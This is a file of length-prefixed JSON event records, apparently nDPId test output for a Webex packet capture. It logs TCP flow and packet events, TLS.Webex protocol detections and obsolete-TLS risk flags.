+00436{"flow_id":54,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1491,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570719,"pkt_ts_usec":41198,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8mB5AAEAGdIkKCAABPm3lnsqTAbu3\/XtaAAAAAKACOQj9rAAAAgQFtAQCCAoATONEAAAAAAEDAwY="} +00410{"flow_id":54,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1492,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570719,"pkt_ts_usec":47347,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA+JAABAGONo+beWeCggAAQG7ypNIAoSlt\/17W1AS\/\/+1bgAA"} +00448{"flow_id":53,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1493,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570719,"pkt_ts_usec":47596,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"ABoRAAACABoRAAABCABFAABG4zNAAEARKV8KCAABPm3lnso8IygAMvEjBgAAAAAAAAAh0jAhjOUQAAAB+4D\/bwAAAAQAGwMBAAAAAgAAAAAAAAAA"} +00484{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1494,"source":"webex.pcap","alias":"nDPId-test","flow_id":30,"flow_packet_id":11,"flow_first_seen":1444570640319,"flow_last_seen":1444570652361,"flow_tot_l4_data_len":323,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":29,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.103","src_port":41394,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00408{"flow_id":54,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1494,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570720,"pkt_ts_usec":45734,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAABAAEAGDLwKCAABPm3lnsqTAbu3\/XtbAAAAAFAEAACCJAAA"} +00448{"flow_id":53,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1498,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570720,"pkt_ts_usec":49139,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"ABoRAAACABoRAAABCABFAABG4zRAAEARKV4KCAABPm3lnso8IygAMvEjBgAAAAAAAAAh0jAhjOUQAAAB+4D\/bwAAAAQAGwMBAAAAAgAAAAAAAAAA"} +00448{"flow_id":53,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1501,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570721,"pkt_ts_usec":56424,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"ABoRAAACABoRAAABCABFAABG4zVAAEARKV0KCAABPm3lnso8IygAMvEjBgAAAAAAAAAh0jAhjOUQAAAB+4D\/bwAAAAQAGwMBAAAAAgAAAAAAAAAA"} +00448{"flow_id":53,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1502,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570722,"pkt_ts_usec":56045,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"ABoRAAACABoRAAABCABFAABG4zZAAEARKVwKCAABPm3lnso8IygAMvEjBgAAAAAAAAAh0jAhjOUQAAAB+4D\/bwAAAAQAGwMBAAAAAgAAAAAAAAAA"} +00448{"flow_id":53,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1503,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570723,"pkt_ts_usec":65957,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"ABoRAAACABoRAAABCABFAABG4zdAAEARKVsKCAABPm3lnso8IygAMvEjBgAAAAAAAAAh0jAhjOUQAAAB+4D\/bwAAAAQAGwMBAAAAAgAAAAAAAAAA"} +00449{"flow_id":53,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1508,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570724,"pkt_ts_usec":68828,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"ABoRAAACABoRAAABCABFAABG4zhAAEARKVoKCAABPm3lnso8IygAMvEjBgAAAAAAAAAh0jAhjOUQAAAB+4D\/bwAAAAQAGwMBAAAAAgAAAAAAAAAA"} +00449{"flow_id":53,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1511,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570725,"pkt_ts_usec":76289,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"ABoRAAACABoRAAABCABFAABG4zlAAEARKVkKCAABPm3lnso8IygAMvEjBgAAAAAAAAAh0jAhjOUQAAAB+4D\/bwAAAAQAGwMBAAAAAgAAAAAAAAAA"} +00449{"flow_id":53,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1512,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570726,"pkt_ts_usec":75874,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"ABoRAAACABoRAAABCABFAABG4zpAAEARKVgKCAABPm3lnso8IygAMvEjBgAAAAAAAAAh0jAhjOUQAAAB+4D\/bwAAAAQAGwMBAAAAAgAAAAAAAAAA"} +00449{"flow_id":53,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1513,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570727,"pkt_ts_usec":75663,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"ABoRAAACABoRAAABCABFAABG4ztAAEARKVcKCAABPm3lnso8IygAMvEjBgAAAAAAAAAh0jAhjOUQAAAB+4D\/bwAAAAQAGwMBAAAAAgAAAAAAAAAA"} +00449{"flow_id":53,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1515,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570729,"pkt_ts_usec":75623,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"ABoRAAACABoRAAABCABFAABG4zxAAEARKVYKCAABPm3lnso8IygAMvEjBgAAAAAAAAAh0jAhjOUQAAAB+4D\/bwAAAAQAGwMBAAAAAgAAAAAAAAAA"} +00449{"flow_id":53,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1516,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570730,"pkt_ts_usec":75669,"pkt_caplen":84,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":84,"pkt_l4_len":50,"pkt":"ABoRAAACABoRAAABCABFAABG4z1AAEARKVUKCAABPm3lnso8IygAMvEjBgAAAAAAAAAh0jAhjOUQAAAB+4D\/bwAAAAQAGwMBAAAAAgAAAAAAAAAA"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1527,"source":"webex.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":1,"flow_first_seen":1444570732086,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"62.109.224.120","src_port":51190,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":55,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1527,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570732,"pkt_ts_usec":86555,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8h\/tAAEAGidIKCAABPm3geMf2AbvHvWEvAAAAAKACOQgMSwAAAgQFtAQCCAoATObUAAAAAAEDAwY="} +00410{"flow_id":55,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1528,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570732,"pkt_ts_usec":90067,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA+tAABAGPfc+beB4CggAAQG7x\/Y4Qp7Qx71hMFAS\/\/+9MQAA"} +00436{"flow_id":55,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1531,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570733,"pkt_ts_usec":95720,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8h\/xAAEAGidEKCAABPm3geMf2AbvHvWEvAAAAAKACOQgL5wAAAgQFtAQCCAoATOc4AAAAAAEDAwY="} +00411{"flow_id":55,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1532,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570733,"pkt_ts_usec":103855,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA+xAABAGPfY+beB4CggAAQG7x\/Y4Qp7Qx71hMFAS\/\/+9MQAA"} +00437{"flow_id":55,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1533,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570733,"pkt_ts_usec":104129,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8h\/1AAEAGidAKCAABPm3geMf2AbvHvWEvAAAAAKACOQgLHwAAAgQFtAQCCAoATOgAAAAAAAEDAwY="} +00411{"flow_id":55,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1534,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570733,"pkt_ts_usec":111880,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA+1AABAGPfU+beB4CggAAQG7x\/Y4Qp7Qx71hMFAS\/\/+9MQAA"} +00409{"flow_id":55,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1535,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570733,"pkt_ts_usec":112182,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoh\/5AAEAGieMKCAABPm3geMf2AbvHvWEwOEKe0VAQOQiEKgAA"} +00495{"flow_id":55,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1536,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570733,"pkt_ts_usec":112697,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"ABoRAAACABoRAAABCABFAABnh\/9AAEAGiaMKCAABPm3geMf2AbvHvWEwOEKe0VAYOQhGawAAFgMBADoBAAA2AwHVO4NHpduGJEZF49hflO7g+gMWTzynDfqMtHMiTtpV9QAABAA1AP8BAAAJACMAAAAPAAEB"} +00733{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1536,"source":"webex.pcap","alias":"nDPId-test","flow_id":55,"flow_packet_id":8,"flow_first_seen":1444570732086,"flow_last_seen":1444570733112,"flow_tot_l4_data_len":283,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"62.109.224.120","src_port":51190,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00411{"flow_id":55,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1537,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570733,"pkt_ts_usec":113293,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA+5AABAGPfQ+beB4CggAAQG7x\/Y4Qp7Rx71hb1AQ\/\/+88wAA"} +00409{"flow_id":55,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1539,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570734,"pkt_ts_usec":115626,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoiABAAEAGieEKCAABPm3geMf2AbvHvWFvOEKe0VAQOQiD6wAA"} +00409{"flow_id":55,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1540,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570734,"pkt_ts_usec":115956,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoiAFAAEAGieAKCAABPm3geMf2AbvHvWFvOEKe0VAQOQiD6wAA"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1544,"source":"webex.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":1,"flow_first_seen":1444570738415,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"62.109.224.120","src_port":51194,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":56,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1544,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570738,"pkt_ts_usec":415965,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8pZ5AAEAGbC8KCAABPm3geMf6AbsEHk9CAAAAAKACOQjdywAAAgQFtAQCCAoATOrcAAAAAAEDAwY="} +00411{"flow_id":56,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1545,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570738,"pkt_ts_usec":418908,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA+9AABAGPfM+beB4CggAAQG7x\/r74bC9BB5PQ1AS\/\/+9LQAA"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1546,"source":"webex.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":1,"flow_first_seen":1444570738419,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"62.109.224.120","src_port":51195,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":57,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1546,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570738,"pkt_ts_usec":419074,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA8eOlAAEAGmOQKCAABPm3geMf7AbvAYZI1AAAAAKACOQjekwAAAgQFtAQCCAoATOrcAAAAAAEDAwY="} +00413{"flow_id":57,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1547,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570738,"pkt_ts_usec":422538,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA\/BAABAGPfI+beB4CggAAQG7x\/s\/nm3KwGGSNlAS\/\/+9LAAA"} +00408{"flow_id":56,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1548,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570738,"pkt_ts_usec":422731,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAopZ9AAEAGbEIKCAABPm3geMf6AbsEHk9D++GwvlAQOQiEJgAA"} +00408{"flow_id":57,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1549,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570738,"pkt_ts_usec":422892,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoeOpAAEAGmPcKCAABPm3geMf7AbvAYZI2P55ty1AQOQiEJQAA"} +00496{"flow_id":56,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1550,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570738,"pkt_ts_usec":424345,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"ABoRAAACABoRAAABCABFAABnpaBAAEAGbAIKCAABPm3geMf6AbsEHk9D++GwvlAYOQh\/zQAAFgMBADoBAAA2AwHh7e2VL35m23t1WU\/32VTucYT8nOT5NyMFMmtQATYTFwAABAA1AP8BAAAJACMAAAAPAAEB"} +00733{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1550,"source":"webex.pcap","alias":"nDPId-test","flow_id":56,"flow_packet_id":4,"flow_first_seen":1444570738415,"flow_last_seen":1444570738424,"flow_tot_l4_data_len":163,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"62.109.224.120","src_port":51194,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00412{"flow_id":56,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1551,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570738,"pkt_ts_usec":424731,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA\/FAABAGPfE+beB4CggAAQG7x\/r74bC+BB5PglAQ\/\/+87wAA"} +00496{"flow_id":57,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1552,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570738,"pkt_ts_usec":426143,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"ABoRAAACABoRAAABCABFAABneOtAAEAGmLcKCAABPm3geMf7AbvAYZI2P55ty1AYOQia+QAAFgMBADoBAAA2AwFlZ\/2gy5EJcUBexsWY6X0\/hsP+2A782vGEfEVj8EbqUwAABAA1AP8BAAAJACMAAAAPAAEB"} +00733{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1552,"source":"webex.pcap","alias":"nDPId-test","flow_id":57,"flow_packet_id":4,"flow_first_seen":1444570738419,"flow_last_seen":1444570738426,"flow_tot_l4_data_len":163,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"62.109.224.120","src_port":51195,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00413{"flow_id":57,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1553,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570738,"pkt_ts_usec":426631,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA\/JAABAGPfA+beB4CggAAQG7x\/s\/nm3LwGGSdVAQ\/\/+87gAA"} +00485{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1555,"source":"webex.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":11,"flow_first_seen":1444570640330,"flow_last_seen":1444570670371,"flow_tot_l4_data_len":323,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":29,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"62.109.224.120","src_port":51134,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00485{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1555,"source":"webex.pcap","alias":"nDPId-test","flow_id":32,"flow_packet_id":11,"flow_first_seen":1444570640338,"flow_last_seen":1444570670373,"flow_tot_l4_data_len":323,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":29,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"62.109.224.120","src_port":51135,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1555,"source":"webex.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":22,"flow_first_seen":1444570674487,"flow_last_seen":1444570675890,"flow_tot_l4_data_len":5807,"flow_min_l4_data_len":20,"flow_max_l4_data_len":3927,"flow_avg_l4_data_len":263,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"173.243.0.110","src_port":55665,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00488{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1555,"source":"webex.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":14,"flow_first_seen":1444570672215,"flow_last_seen":1444570673280,"flow_tot_l4_data_len":7763,"flow_min_l4_data_len":20,"flow_max_l4_data_len":3959,"flow_avg_l4_data_len":554,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.103","src_port":41419,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00408{"flow_id":46,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1556,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570740,"pkt_ts_usec":247906,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoZhBAAEAGjy0KCAABTi7tW+ltAFASyr7b7TVEZVARPLhAigAA"} +00411{"flow_id":46,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1557,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570740,"pkt_ts_usec":248214,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA\/NAABAGIUtOLu1bCggAAQBQ6W3tNURlEsq+3FAQ\/\/99QgAA"} +00412{"flow_id":46,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1558,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570740,"pkt_ts_usec":248887,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA\/RAABAGIUpOLu1bCggAAQBQ6W3tNURlEsq+3FAR\/\/99QQAA"} +00410{"flow_id":45,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1559,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570740,"pkt_ts_usec":249184,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo74JAAEAGBbsKCAABTi7tW+lsAFBr3TdwlCLM9FARPLg\/ZwAA"} +00412{"flow_id":45,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1560,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570740,"pkt_ts_usec":249618,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoA\/VAABAGIUlOLu1bCggAAQBQ6WyUIsz0a903cVAQ\/\/98HwAA"} 